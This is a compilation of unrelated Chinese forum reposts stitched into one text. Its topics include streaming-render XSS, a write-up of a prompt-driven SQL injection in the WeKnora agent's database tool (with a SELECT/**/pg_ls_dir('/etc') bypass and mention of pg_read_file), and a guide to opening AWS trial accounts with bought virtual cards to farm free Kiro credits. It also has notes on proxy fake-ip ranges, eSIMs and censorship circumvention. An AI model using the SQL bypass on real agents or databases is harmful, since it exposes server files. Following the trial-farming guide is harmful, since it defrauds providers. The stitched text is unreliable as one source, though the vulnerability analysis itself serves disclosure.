类似上图early spring vegetables的字体出现了明显的变化,导致这种的变化的原因是因为流式输出中部分代码出现了问题,前端会一步步渲染流式输出的内容。 前端处理流程: 1 浏览器接收到第一个 chunk → 渲染为普通段落 → 使用默认字体(如 font-size: 16px)。 2 接收到第三个 chunk:“Early Spring Vegetables” → 如果它被识别为 Markdown 标题(如 ## Early Spring Vegetables),前端解析器会将其转换为 <h3><strong> 3但此时: CSS 样式表可能尚未完全加载; 或者该元素的样式规则(如 h3 { font-size: 20px; font-weight: bold; })还未生效; 或者前端框架(如 React/Vue)正在动态更新 DOM,样式尚未“稳定”。 → 结果就是:文字刚出现时是“普通文本大小”,几毫秒后样式应用,变成“标题大小”,造成“字体忽大忽小”的错觉。 根据上面的情况,可以猜想是否有一种AI输出结果会可以在被截断的情况下是有问题的,但是完整的是正常的。 这种攻击被称为 “流式渲染 XSS” 或 “部分解析型 XSS”(Partial Rendering XSS / Streaming-based XSS) 一、问题本质:AI 输出“无害语句”,但前端“错误拼接 + 错误解析”导致恶意执行 比如:


但在串流式输出中,内容分块到达前端:

前端在接收第一个 chunk 时,可能错误地将其解析为:

→ 此时还未收到完整内容,但浏览器已开始渲染。 如果 AI 在某个 chunk 中无意间包含了一个未闭合的标签或特殊字符(如 <script> 的前半部分),前端可能在“不完整状态”下尝试修复或渲染,从而触发 XSS。 总体上来说“流式输出导致 XSS”的经典模式:内容被截断 → 前端试图修复 → 意外执行恶意代码。

漏洞概述 CVE-2026-22687是一个存在于WeKnora Agent服务中的SQL注入漏洞。该漏洞由于后端代码对用户输入的SQL语句校验不严,导致攻击者可以通过精心构造的提示词绕过安全限制,执行任意SQL查询,从而获取数据库服务器中的敏感信息。 影响范围: <0.2.4 所有启用Agent服务的WeKnora实例 漏洞详情 漏洞位置 文件: /internal/agent/tools/database_query.go 函数: validateAndSecureSQL() (第249-373行) API端点: POST /api/v1/agent-chat/{session_id} 漏洞根因 1.后端 安全校验逻辑缺陷 在validateAndSecureSQL函数中,开发者试图通过正则表达式检查SQL语句中涉及的表名,只允许访问预定义的白名单表:

Plain Text

复制代码
allowedTables := []string{
"tenants", "knowledge_bases", "knowledges", "sessions",
"messages", "chunks", "embeddings", "models",
}

// 提取FROM和JOIN子句中的表名
tablePattern := regexp.MustCompile(`(?i)\b(?:from|join)\s+([a-z_]+)(?:\s+as\s+[a-z_]+|\s+[a-z_]+)?`)
matches := tablePattern.FindAllStringSubmatch(lowerSQL, -1)

2. 两处关键绕过点 第一处漏洞:未校验PostgreSQL内置危险函数
代码仅检查表名是否在白名单中,但完全忽略了对数据库函数的校验。攻击者可以利用PostgreSQL内置函数(如pg_ls_dir、pg_read_file等)进行文件系统操作。
第二处漏洞:未考虑SQL注释绕过
正则表达式使用\s+匹配空白字符,但攻击者可以使用/**/等SQL注释代替空格,从而绕过表名检测:

Plain Text

复制代码
-- 原始查询(会被拦截)
SELECT pg_ls_dir('/etc')

-- 绕过后的查询(使用注释代替空格)
SELECT/**/pg_ls_dir('/etc')

代码分析 代码执行流

Plain Text

复制代码
// 漏洞点1:原始SQL执行,无参数化查询
func (t *DatabaseQueryTool) Execute() {
// line 158: 直接执行原始SQL
t.db.WithContext(ctx).Raw(securedSQL).Rows()
}

// 漏洞点2:校验函数存在缺陷
func validateAndSecureSQL(sql string) error {
// 仅检查表名,不检查函数和存储过程
// 使用简单正则,易被注释绕过
}

1 缺少参数化查询:直接拼接用户输入执行SQL 2 函数名白名单缺失:未限制可执行的数据函数 3 SQL解析不完整:依赖简单正则而非完整SQL解析器 4 多层转义缺失:未对用户输入进行适当的转义处理 漏洞复现

大家好,我是 Tobias 。

之前一直覺得現在的武俠遊戲畫面越來越好,但自由度卻不如以前的 MUD 或小說。 所以我寫了一個基於 LLM 的後端系統(刀鋒 Blade RPG ),想嘗試做一個「邏輯仿真」的江湖。

最大的特點是 Emergent Gameplay (湧現式玩法) 。我不寫死腳本,而是讓 AI 根據物品屬性和情境去推理結果。

舉兩個實際測試的例子:

1. 沒有配方表的煉金術

傳統遊戲是 A+B=C 的死配方。但在這裡,系統識別的是藥性。

配藥截圖

比如這張圖裡,我手裡有止血草金銀花(清熱)和鹽巴(消炎)。我沒有點擊「製作紅藥水」,而是嘗試將它們混合。AI 後台推演出了「清創生肌湯」。當然,如果你亂配,也可能配出毒藥。

2. 職業技能的非常規用法

戰鬥結束抓到活口怎麼辦?

審訊截圖

如果你的隊伍裡有醫生(吳老頭),系統會允許你使用「針灸或藥物」來逼供(選項 2 );或者你可以玩心理戰,當面救治他的同伴來瓦解他的心理防線(選項 4 )。這些都不是預設的對話樹,而是基於角色能力的動態選項。


關於技術與架構

雖然是純文字,但為了解決 LLM 的幻覺和 Context Window 限制,我做了不少工程優化。
我寫了一篇詳細的開發日誌,介紹了動態天氣敘事邏輯的實現細節:

👉 拒絕換皮:為什麼我堅持開發一款「純文字」的 AI 開放世界武俠?

Talk is cheap.

為了測試 Engine 的負載,我給 V 友準備了福利:新註冊直接送 40 輪免費體驗
歡迎大家來嘗試各種騷操作,把 AI 玩壞也沒關係(請輕噴)。

傳送門: https://www.bladerpg.com

如果你使用 fake-ip 作为 DNS enhance mode,并配置了网段 198.18.0.0/15,也许你也遇到过使用 Chrome 或 Edge 浏览器时反复弹出 “是否允许私有网络访问” 的提示:

如果你选择了拒绝,那么你很可能也经历过这种页面样式会崩坏或功能无法正常运行的情况。

那么,这是为什么?

Chrome 本地网络访问 (Private Network Access, PNA)

Chrome 从 2020 年以来一直在推进 “弃用从不安全网站访问私有网络端点” 的功能。

从 Chrome 94 开始,公共非安全环境(广义上讲,指非通过 HTTPS 或私有 IP 地址提供的网站)被禁止向私有网络发出请求。开发人员可以在 Chrome 116 版本发布前采用配置 token 的方式暂时绕过这一限制。从 Chrome 117 开始,弃用试用期结束。所有网站必须停止从不安全网站访问私有网络端点,或者配置用户策略。

2025 年 9 月 29 日,本地网络访问权限提示正式在 Chrome 142 中推出。 本地网络访问权限会限制网站向用户本地网络中的服务器(包括在用户机器上本地运行的服务器)发送请求的能力,要求用户先向网站授予权限,然后才能发出此类请求。

理论上来讲这是好事,可以保护用户免遭针对内网设备的 CSRF 攻击,并降低网站利用这些请求对用户本地网络进行指纹识别的能力。

关于 198.18.0.0/15

198.18.0.0/15 网段被分配给网络互连设备的基准测试。RFC2544 解释说,分配此网段是为了最大限度地减少冲突的可能性。这使得这个专门测试用的没什么冲突的私有网段天然适合作为 fake ip 的 range。

但问题是,Chrome 的这个访问权限提示会在请求 198.18.0.0/15 网段时通过严格的访问控制策略将其也作为内网网段一起拦截。请看草案中的 Chrome 私有网络访问的限制列表:

一旦我们通过 Chrome 浏览网页,此网页通过跨域请求一些静态资源等内容时,由于我们的代理软件返回的 fake-ip 被认为是一个内网设备,Chrome 会弹出访问权限提示。如果允许,那么 PNA 的为了安全所做的设计将失效;如果禁止,网页拿不到静态资源,行为和样式会崩坏。

切换 fake-ip-range

为了解决这一问题,我的第一直觉是:整理一下可用的内网地址中不会被拦截的部分。对比 Wikipedia 上列出的私有地址和 Chrome 的限制列表,Wikipedia 标记为私有但 Chrome 不拦截的段:

192.0.0.0/24 - IETF 协议分配用,256 个地址太少,fake-ip 会很快耗尽

198.51.100.0/24203.0.113.0/24 - TEST-NET 文档示例用,同样只有 256 个地址

233.252.0.0/24 - 组播测试用,地址太少且组播段可能有特殊处理

224.0.0.0/4 到 239.255.255.255 - 组播地址,协议层面不适合做单播 fake-ip

240.0.0.0/4 - 预留未来使用的 E 类地址,其实这个保留地址段由于历史包袱一直没放出使用是最适合的,但很多系统和路由器会直接丢弃这个段的包,有兼容性问题,部分老旧网络设备、防火墙、甚至 Windows 的 TCP/IP 栈会拒绝处理 E 类地址。

似乎没有很合适的选项。

曲线救国之我是美国国防部

虽然我不太愿意这样做,但私有地址都不合适的情况下,只能将目标转向虽然不标准但能解决问题的公网 IP。众所周知,互联网刚出现的时候,是为军方服务的,早期有大量的 IP 地址被美国军方申请走并且一直没有归还。这些美国国防部拥有的海量地址过去近三十年间几乎从未出现在互联网路由表中。例如:

7.0.0.0/8
11.0.0.0/8
21.0.0.0/8
22.0.0.0/8
26.0.0.0/8
28.0.0.0/8
29.0.0.0/8

例如 6.0.0.0/8、11.0.0.0/8 和 28.0.0.0/8 这些都是归属于美国国防部的公网 IPv4 地址段。这些 IP 是标准的公网 IP,因此,将 fake-ip 映射到这些网段,可以骗过浏览器,使其认为你在访问公网,从而绕过 PNA,同时不会对真正的内网 IP 地址产生影响,从而也吃上了 PNA 的安全性红利。

虽然在 2021 年,美国国防部曾短暂地通过一家名为 Global Resource Systems 的公司向全球互联网宣告了这些路由,但其它时候几乎从未被使用过。一般我们也不会有主动访问美国国防部的需求,所以不会影响到公网。此外,占用美国国防部的地址段似乎也是腾讯云、华为云等云厂商的通用的脏方法,虽然不标准,但是我们至少可以比较乐观地预期在未来较长的时间内以这种方式解决问题。

所以,配置 fake-ip-range: 28.0.0.0/8,Chrome 可以看到我的内网地址是在美国国防部的公网 IP 段,Chrome 小姐你也不想你拦截国防部的事被人知道吧,从而解决开头提到的问题。

不生效的话,检查 store-fake-ip 是否开启,清理浏览器缓存,检查 Service Worker 和 DNS 缓存。


📌 转载信息
原作者:
MUTED64
转载时间:
2026/1/18 10:09:35

自从各大善人慷慨解囊,各种工具层出不穷,开源仓库百花齐放。在 ai 编程,ai 使用开源库工具的便利的同时,不知不觉中,我们的电脑也早已是千疮百孔!

工具的版本落后!
不知名的依赖包!
打开就没关过的服务端口!
安上就找不到的命令行工具!
设置了就忘了的系统环境配置!
每一个都在威胁着你的开发环境和日常使用的安全性!

所以,我又搓了个好东西,分享给大家!

麻烦支持个小星星
[Dev-Janitor 清道夫]

欢迎体验,并反馈你的宝贵意见!

@石头 大佬提供概括图



📌 转载信息
原作者:
Jojo_Coco
转载时间:
2026/1/18 10:09:17

AWS 账户注册与 Kiro 集成配置

截止:2026 年 1 月 17 日 11:53:18 日,Kiro 正式宣布试用账号下线 Opus 模型,现有的 2api 白嫖 opus 的渠道可以说是被大砍了一刀,本教程将教你一步步的注册 aws 并获取免费的五个月 PRO + 额度

不要填自己的卡 不要填自己的卡 不要填自己的卡 不要填自己的卡

你需要准备:

  • 1. 一个邮箱账号
  • 2. 一张稳定的虚拟卡(卡头 493875 开头推荐)
  • 3. 需要下载 Google Play 商店中的 Google Authenticaion 验证软件(可选,也可以到第三部的最后一步关闭)
  • 4. 一个纯净的梯子

注:过 Cursor、Gemini 那种卡是过不去 aws 的,尽量能不填自己的信息就不填

此教程虚拟卡需求比较高,不建议采用个人的信息,谨慎观看
在确定好了这些之后,一步步跟着教程走


第一步:注册 AWS 账户

打开 AWS 免费套餐页面:免费云计算服务 - AWS 免费套餐

点击 创建免费账户

邮箱选择

这里有个坑:不要用企业域名邮箱

推荐顺序:

  1. QQ 邮箱(国内最稳定)
  2. Gmail(需要科学上网)
  3. 企业域名邮箱(容易收不到验证邮件)

我用的是 QQ 邮箱,后续激活邮件都能正常收到。

账户类型

选择 个人账户,然后填写基本信息。

绑定支付方式

AWS 会要求绑定信用卡或借记卡,用于身份验证,一定要一个适用于验证的 aws 虚拟卡,可以上某鱼搜索 “aws 虚拟卡”,卡头尽量选稳一点的,不然容易秒封或者水电单,文章起始推荐的卡头目前还算稳定

手机验证

  • 国家代码选择 +86(中国)即可,不需要美区手机号
  • 输入你的手机号
  • 接收验证码完成验证

验证通过后,账户创建完成。


第二步:配置 IAM Identity Center(注意!)

默认的 200 美金抵扣金在开启 IAM 后就会失效,如果你是新用户会赠送 100 美金额度,约 2 月 Kiro Pro+…

AWS 默认的 Root 账户权限太高,生产环境不能直接用。我们需要通过 IAM Identity Center 创建子账户。

启用 IAM Identity Center

登录 AWS 控制台后,在顶部搜索框输入 IAM

点击 IAM Identity Center(不是 IAM)。

进入后点击 启用

首次启用需要等待 1-2 分钟,AWS 会自动创建组织架构。

创建用户组

启用成功后,先创建用户组(Groups)。

点击左侧菜单 GroupsCreate group

输入组名(比如 Developers),暂时不分配权限,直接创建。

创建用户

点击左侧菜单 UsersAdd user

填写用户信息:

  • Username:开发者的英文名或工号
  • Email:开发者的邮箱(用于接收激活邮件)
  • First name / Last name:真实姓名

点击 Next,选择刚才创建的用户组,完成创建

激活用户

用户创建后,AWS 会发送激活邮件到用户邮箱。

让用户点击邮件中的激活链接,设置密码。

回到 AWS 控制台,刷新用户列表,确认状态显示 已激活


第三步:集成 Kiro 平台

现在需要把 AWS 的用户同步到 Kiro,实现单点登录(SSO)。

获取 AWS Sign-in URL

在 IAM Identity Center 的 Dashboard 页面,找到 AWS access portal URL

这个 URL 格式类似:

https://d-xxxxxxxxxx.awsapps.com/start

复制这个 URL,后面要填到 Kiro 里。

添加用户到 Kiro 计划

打开 Kiro 控制台,搜索 kiro(或直接访问你的 Kiro 实例),如果你找不到下图的页面,可以在上图的 setting 页面点击 delete profile 删除后再创建可以直接进入到这个页面

登录后进入管理后台。

找到 计划管理(Plans),选择你要添加用户的计划,这里一定要选 Kiro Pro+,因为 AWS 提供的是 200 美金的试用额度,如果选 power 就只能享受一个月了,一万余额基本是用不完的,Kiro Pro 又不够用(不确保是否有 Opus 模型)

点击 添加用户

把光标放到搜索框,会自动显示刚才在 AWS 创建的用户列表。

选中用户,点击 添加

配置 Kiro 的 SSO 登录

回到 Kiro 的登录配置页面。

找到 Sign-in URL 字段,粘贴刚才复制的 AWS access portal URL。

保存配置。

关闭身份认证(如果未使用 Google Auth)

这一步必须做,否则会登录失败。

在 Kiro 的设置页面,找到 身份认证(Authentication)。

把身份认证开关 关闭(Disable)。

原因:Kiro 默认会启用自己的身份验证,和 AWS SSO 冲突。关闭后才能正常跳转到 AWS 登录页。

验证登录

打开 Kiro 登录页面,输入刚才创建的用户邮箱。

点击登录后,会自动跳转到 AWS 登录页。

输入在激活邮件中设置的密码,登录成功后会跳回 Kiro。

看到 Kiro 的工作台,说明集成完成。


常见问题

收不到激活邮件

检查垃圾邮件箱,AWS 的邮件容易被拦截。

如果确实没收到,回到 IAM Identity Center,选中用户,点击 Resend invitation

Kiro 登录后提示 “Authentication failed”

确认两件事:

  1. Kiro 的身份认证是否已关闭
  2. Sign-in URL 是否填写正确(不要多复制空格)


总结

整个流程的核心是:

  1. 注册 AWS 账户(用 QQ 邮箱最稳)
  2. 启用 IAM Identity Center(先创建组,再创建用户)
  3. 把 AWS 的 Sign-in URL 填到 Kiro
  4. 关闭 Kiro 的身份认证(避免冲突)

配置完成后,团队成员只需要记住一个 Kiro 账号,就能访问 AWS 的所有资源。

如果你的团队也在用 AWS + Kiro 的组合,这套流程可以直接复用。


📌 转载信息
转载时间:
2026/1/18 09:45:01

开头语
分享的方便挺简单,各位大佬可能都会用,新人纯水一下。大佬们别见笑!
网盘分享的软件,可以通过手机文件管理器 filemanager 进行下载安装。
其实不光是软件,手机内容都可以通过 filemanager 进行上传下载,和家里电脑,nas,电视都可以交换数据。本人觉得挺方便的,可能还有比这个更加简单的方法,小白的我也没接触过太多,希望有大佬能够分享。
首先需要用到的软件:安卓手机 file manager 软件 和 openlist 挂载任意网盘。
第一步:
手机安装文件管理器 file manager
软件可以通过手机谷歌下载
或者访问下面天翼网盘共享文件
天翼云盘 珍藏美好生活 家庭云 | 网盘 | 文件备份 | 资源分享


第二步:手机打开软件
点击远程存储


添加一个新的远程储存


这里选择添加 webdav,使用自己现有的 opnelist
(手机和电视也能添加电脑 smb 共享,局域网电脑等路径,无缝连接家里设备共享内容)


手机登录 openlist,需要账号密码,这里设置了用户和密码
主机:填 opnelist 的域名 +‘/dav’
端口:opnelist 端口


设置完成,手机通过文件管理器远程存储界面登录设置好的网盘了。

手机上传软件到 openlist 分享步骤

第一步:选择需要分享的 app,长按弹出对话框,点击提示符


第二步:点击右上角三点,选择分享


第三步:选择文件管理器分享,注意 app 名字


第四步:选择一个网盘路径保存



第五步:找到新上传文件,改名。不然时间长了不知道什么软件,就尴尬了。



📌 转载信息
原作者:
xiaoshuo6019
转载时间:
2026/1/18 09:43:43

PDD 买的这个卡

选择的 esim 服务商是德国沃达丰 +49 号码
办理该 esim 半小时内搞定,具体油管搜 esim 保号能看到教程

【开卡免费,每 90 天充值 0.01 欧元即可】

使用的 esim 写入软件是 NekokoLPA 和 EasyEUICC
EasyEUICC 检测该卡有 2 项为【 !】号,NekokoLPA 读取正常
所以我选择 NekokoLPA 进行写卡

写卡正常

选择启用后,开始出现奇奇怪怪的地方,手机显示有信号,软件却提示该卡未启用

然后就悲剧了,当时没有截图,重启手机之后,两个开源软件均无法读取 esim 实体卡

换卡槽、重启、换软件版本,均无效


但好就好在,只要插着手机卡,还能有信号以及接收短信验证码

只是该 Esim 实体卡,无法再进行删除、禁用 / 启用、写卡操作

相当于一张 esim 实体卡变成 sim 实体卡了……


📌 转载信息
原作者:
h2y1
转载时间:
2026/1/18 09:43:30

最烦的就是前两项! 这个精简版推荐下 减少很多 token!
3 个 MCP:网络搜索(Exa)、context7、grep.app
默认使用 Orchestrator 足够了!


📌 转载信息
原作者:
wuyinfan
转载时间:
2026/1/18 09:42:46

原公益节点帖子

mihomo (clash) ECH 订阅地址

这个地址仅供测试,它无法改动,只支持 mihomo (clash) https://download.nature.qq.com/SnsShare/Windy/1768620180_b65eb5ff_ech-mihomo

前言

公益节点的域名,用的人一多,就会被墙,我注册了好多域名,也死了一堆,在不断抗争中不断头大。

抗封锁的进展

这几天在 TG 群里看到 CMLiussss 更新了 v2ray/mihomo/singbox 一些 ECH 相关的功能。

ech 是什么?

ech 就是把你真实访问的目标加密传给 cloudflare,
但是 cloudflare 能解密真实目标,对外只知道你往 cloudflare-ech.com 连接。
全球大量免费的 cloudflare 套餐都强制开启 ech,
墙如果杀掉 cloudflare-ech.com 会导致大量误伤。
所以目前看还是挺稳的

存在的问题

但是 sing-box/xray/shadowRocket(小火箭) 等软件,需要固定的 ech 密钥,cloudflare 的 ech 是四个小时一变,就算要做订阅,也是需要设置 4 小时更新一次,用起来不是很方便。

推荐的方法

mihomo (clash 系列的继承者) 能自动抓取 ech 密钥,非常方便。


订阅里依然使用 sni.111000.de5.net 这个被大部分地区屏蔽的域名,但不影响使用。

推荐客户端

安卓端:ClashMetaForAndroid v2.11.22 Releases · MetaCubeX/ClashMetaForAndroid · GitHub

苹果端:clash mi ‎Clash Mi App - App Store

PC 端 / 路由器 (nikki),基本都能更新内核,更新到 v1.19.18 及以上版本即可。


📌 转载信息
转载时间:
2026/1/18 09:41:59